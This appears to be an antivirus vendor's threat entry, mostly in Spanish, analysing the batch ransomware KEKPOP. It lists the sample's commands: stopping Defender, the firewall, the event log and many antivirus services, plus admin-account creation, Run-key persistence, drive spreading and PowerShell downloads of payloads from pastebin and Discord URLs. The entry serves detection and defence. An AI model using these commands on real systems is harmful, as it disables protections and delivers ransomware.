Ransom.BAT.KEKPOP.THEAABB

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Elimina archivos para impedir la ejecución correcta de programas y aplicaciones. Agrega determinadas entradas de registro para desactivar el Administrador de tareas. Esta acción impide que el usuario lleve a cabo la cancelación del proceso de malware, la cual suele realizarse a través del Administrador de tareas.

Deshabilita los servicios antivirus. El objetivo es permitir a este malware ejecutar sus rutinas y evitar su eliminación del sistema.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Crea las siguientes copias de sí mismo en el sistema afectado:

• %User Profile%\{Malware File Name}
• %Desktop%\{Malware File Name}
• %User Profile%\Documents\{Malware File Name}
• %User Profile%\Music\{Malware File Name}
• %User Profile%\Pictures\{Malware File Name}
• %User Profile%\Videos\{Malware File Name}
• %User Profile%\Downloads\{Malware File Name}

(Nota: %User Profile% es la carpeta de perfil del usuario activo, que en el caso de Windows 98 y ME suele estar en C:\Windows\Profiles\{nombre de usuario}, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}, en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) en C:\Documents and Settings\{nombre de usuario} y en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}).

Infiltra los archivos siguientes:

• %User Profile%\Documents\black.bat → Detected as Trojan.BAT.KEKPOP.THEACBB
• %Windows%\Confession.bat → malware copy
• {Encrypted folder}\kekpop.txt
• %User Profile%\Spdiscord.cmd
• %User Profile%\mail.vbs → Detected as Worm.VBS.MASSMAIL.YXCEST
• %User Profile%\Start Menu\Programs\Startup\{Malware File Name}

(Nota: %User Profile% es la carpeta de perfil del usuario activo, que en el caso de Windows 98 y ME suele estar en C:\Windows\Profiles\{nombre de usuario}, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}, en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) en C:\Documents and Settings\{nombre de usuario} y en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}).

Agrega los procesos siguientes:

• attrib +h +s {Malware File Name}
• powershell -command "Set-ExecutionPolicy Unrestricted"
• net localgroup administrators session /ADD
• reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_{random numbers}_toolbar" /t "REG_SZ" /d {Malware File Name} /f
• reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\.bat /f
• reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
• RUNDLL32 USER32.DLL SwapMouseButton
• net stop "WinDefend"
• taskkill /f /t /im MSASCui.exe
• net stop "wuauserv"
• net stop "security center"
• net stop sharedaccess
• netsh firewall set opmode mode-disable
• cmd.exe
• net stop "Security Center" /y
• net stop "Automatic Updates" /y
• net stop "Symantec Core LC" /y
• net stop "SAVScan" /y
• net stop "norton AntiVirus Firewall Monitor Service" /y
• net stop "norton AntiVirus Auto-Protect Service" /y
• net stop "norton AntiVirus Auto Protect Service" /y
• net stop "McAfee Spamkiller Server" /y
• net stop "McAfee Personal Firewall Service" /y
• net stop "McAfee SecurityCenter Update Manager" /y
• net stop "Symantec SPBBCSvc" /y
• net stop "Ahnlab Task Scheduler" /y
• net stop navapsvc /y
• net stop "Sygate Personal Firewall Pro" /y
• net stop vrmonsvc /y
• net stop MonSvcNT /y
• net stop SAVScan /y
• net stop NProtectService /y
• net stop ccSetMGR /y
• net stop ccEvtMGR /y
• net stop srservice /y
• net stop "Symantec Network Drivers Service" /y
• net stop "norton Unerase Protection" /y
• net stop MskService /y
• net stop MpfService /y
• net stop mcupdmgr.exe /y
• net stop "McAfeeAntiSpyware" /y
• net stop helpsvc /y
• net stop ERSvc /y
• net stop "*norton*" /y
• net stop "*Symantec*" /y
• net stop "*McAfee*" /y
• net stop ccPwdSvc /y
• net stop "Symantec Core LC" /y
• net stop navapsvc /y
• net stop "Serv-U" /y
• net stop "norton AntiVirus Auto Protect Service" /y
• net stop "norton AntiVirus Client" /y
• net stop "Symantec AntiVirus Client" /y
• net stop "norton AntiVirus Server" /y
• net stop "NAV Alert" /y
• net stop "Nav Auto-Protect" /y
• net stop "McShield" /y
• net stop "DefWatch" /y
• net stop eventlog /y
• net stop InoRPC /y
• net stop InoRT /y
• net stop InoTask /y
• net stop "norton AntiVirus Auto Protect Service" /y
• net stop "norton AntiVirus Client" /y
• net stop "norton AntiVirus Corporate Edition" /y
• net stop "ViRobot Professional Monitoring" /y
• net stop "PC-cillin Personal Firewall" /y
• net stop "Trend Micro Proxy Service" /y
• net stop "Trend NT Realtime Service" /y
• net stop "McAfee.com McShield" /y
• net stop "McAfee.com VirusScan Online Realtime Engine" /y
• net stop "SyGateService" /y
• net stop "Sygate Personal Firewall Pro" /y
• net stop "Sophos Anti-Virus" /y
• net stop "Sophos Anti-Virus Network" /y
• net stop "eTrust Antivirus Job Server" /y
• net stop "eTrust Antivirus Realtime Server" /y
• net stop "Sygate Personal Firewall Pro" /y
• net stop "eTrust Antivirus RPC Server" /y
• net stop netsvcs
• net stop spoolnt
• tskill iexplore
• tskill msnmsgr
• tskill excel
• tskill iTunes
• tskill calc
• tskill msaccess
• tskill safari
• tskill mspaint
• tskill outlook
• tskill WINWORD
• powershell -Command "Invoke-WebRequest https://pastebin.com/raw/{BLOCKED}7i -outfile keklog.cmd
• xcopy /e /y {Malware File Name} D:\
• xcopy /e /y {Malware File Name} E:\
• xcopy /e /y {Malware File Name} F:\
• xcopy /e /y {Malware File Name} G:\
• xcopy /e /y {Malware File Name} H:\
• xcopy /e /y {Malware File Name} %User Profile%\
• xcopy /e /y {Malware File Name} %Desktop%\
• xcopy /e /y {Malware File Name} %User Profile%\Documents\
• xcopy /e /y {Malware File Name} %User Profile%\Music\
• xcopy /e /y {Malware File Name} %User Profile%\Pictures\
• xcopy /e /y {Malware File Name} %User Profile%\Videos\
• xcopy /e /y {Malware File Name} %User Profile%\Downloads\
• powershell -Command "Invoke-WebRequest https://pastebin.com/raw/{BLOCKED}4Y -outfile {random numbers}.cmd
• net send * "Look out, kekpop is on your network"
• %System%\WScript.exe %User Profile%\mail.vbs
• powershell -Command "Invoke-WebRequest https://pastebin.com/raw/{BLOCKED}57 -outfile KekNote.txt
• powershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/{BLOCKED}321876529234/972649723632697404/ReadMe.html', 'ReadMe.html')"
• %System%\cmd.exe /K Spdiscord.cmd
• powershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/{BLOCKED}839282081852/972379856220348497/kekpopdicord.exe', kekpopdicord.exe')"
• %System%\cmd.exe KekNote.txt
• %System%\cmd.exe ReadMe.html

Técnica de inicio automático

Agrega las siguientes entradas de registro para permitir su ejecución automática cada vez que se inicia el sistema:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
rundll32_{random numbers}_toolbar = {Malware File Name}

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
AVAADA = C:\Windows\.bat

Este malware infiltra el/los archivo(s) siguiente(s) en la carpeta de inicio del usuario de Windows para permitir su ejecución automática cada vez que se inicia el sistema:

• %User Profile%\Start Menu\Programs\Startup\{Malware File Name}

(Nota: %User Profile% es la carpeta de perfil del usuario activo, que en el caso de Windows 98 y ME suele estar en C:\Windows\Profiles\{nombre de usuario}, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}, en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) en C:\Documents and Settings\{nombre de usuario} y en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}).

Otras modificaciones del sistema

Elimina los archivos siguientes:

• %System Root%\recycler\S-1-5-21-1202660629-261903793-725345543-1003\run.bat
• %User Profile%\Documents\black.bat

(Nota: %System Root% es la carpeta raíz, normalmente C:\. También es la ubicación del sistema operativo).

Agrega las siguientes entradas de registro para desactivar el Administrador de tareas:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 1

(Note: The default value data of the said registry entry is 0.)

Propagación

Infiltra copias de sí mismo en las unidades siguientes:

• D:\
• E:\
• F:\
• G:\
• H:\

Finalización del proceso

Finaliza los servicios siguientes si los detecta en el sistema afectado:

• WinDefend
• wuauserv
• security center
• sharedaccess

Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:

• iexplore
• msnmsgr
• excel
• iTunes
• calc
• msaccess
• safari
• mspaint
• outlook
• WINWORD
• MSASCui.exe

Deshabilita los servicios antivirus finalizando los servicios siguientes si los encuentra en el sistema afectado:

• Security Center
• Automatic Updates
• Symantec Core LC
• SAVScan
• norton AntiVirus Firewall Monitor Service
• norton AntiVirus Auto-Protect Service
• norton AntiVirus Auto Protect Service
• McAfee Spamkiller Server
• McAfee Personal Firewall Service
• McAfee SecurityCenter Update Manager
• Symantec SPBBCSvc
• Ahnlab Task Scheduler
• navapsvc
• Sygate Personal Firewall Pro
• vrmonsvc
• MonSvcNT
• SAVScan
• NProtectService
• ccSetMGR
• ccEvtMGR
• srservice
• Symantec Network Drivers Service
• norton Unerase Protection
• MskService
• MpfService
• mcupdmgr.exe
• McAfeeAntiSpyware
• helpsvc
• ERSvc
• *norton*
• *Symantec*
• *McAfee*
• ccPwdSvc
• Symantec Core LC
• navapsvc
• Serv-U
• norton AntiVirus Auto Protect Service
• norton AntiVirus Client
• Symantec AntiVirus Client
• norton AntiVirus Server
• NAV Alert
• Nav Auto-Protect
• McShield
• DefWatch
• eventlog
• InoRPC
• InoRT
• InoTask
• norton AntiVirus Auto Protect Service
• norton AntiVirus Client
• norton AntiVirus Corporate Edition
• ViRobot Professional Monitoring
• PC-cillin Personal Firewall
• Trend Micro Proxy Service
• Trend NT Realtime Service
• McAfee.com McShield
• McAfee.com VirusScan Online Realtime Engine
• SyGateService
• Sygate Personal Firewall Pro
• Sophos Anti-Virus
• Sophos Anti-Virus Network
• eTrust Antivirus Job Server
• eTrust Antivirus Realtime Server
• Sygate Personal Firewall Pro
• eTrust Antivirus RPC Server
• netsvcs
• spoolnt

Rutina de descarga

Guarda los archivos que descarga con los nombres siguientes:

• %User Profile%\keklog.cmd → Detected as TrojanSpy.BAT.KEKPOP.THEACBB
• %User Profile%\(random numbers}.cmd → Detected as Trojan.BAT.KEKPOP.THEACBB
• %Desktop%\KekNote.txt → Detected as Ransom.BAT.KEKPOP.THEACBB.note
• %Desktop%\ReadMe.html → Detected as Ransom.HTML.KEKPOP.THEACBB.note
• %User Profile%\kekpopdicord.exe → Detected as Trojan.Win64.KEKPOP.YXCET

(Nota: %User Profile% es la carpeta de perfil del usuario activo, que en el caso de Windows 98 y ME suele estar en C:\Windows\Profiles\{nombre de usuario}, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}, en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) en C:\Documents and Settings\{nombre de usuario} y en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}).

Otros detalles

Hace lo siguiente:

• It swaps/reverses the left and right mouse buttons function.
• It launches 17 command prompt window in a maximized state.
• It writes the following lines of code to %Windows%\system.ini:
  [boot]
  shell=explorer.exe Confession.bat
• It writes the following lines of code to %Windows%\win.ini:
  [windows]
  run=%Windows%\Confession.bat
  load=%Windows%\Confession.bat
• It sends the following message to network computers:
  • "Look out, kekpop is on your network"
• It avoids encrypting machines with the following username:
  • a.monaldo

(Nota: %Windows% es la carpeta de Windows, que suele estar en C:\Windows o C:\WINNT).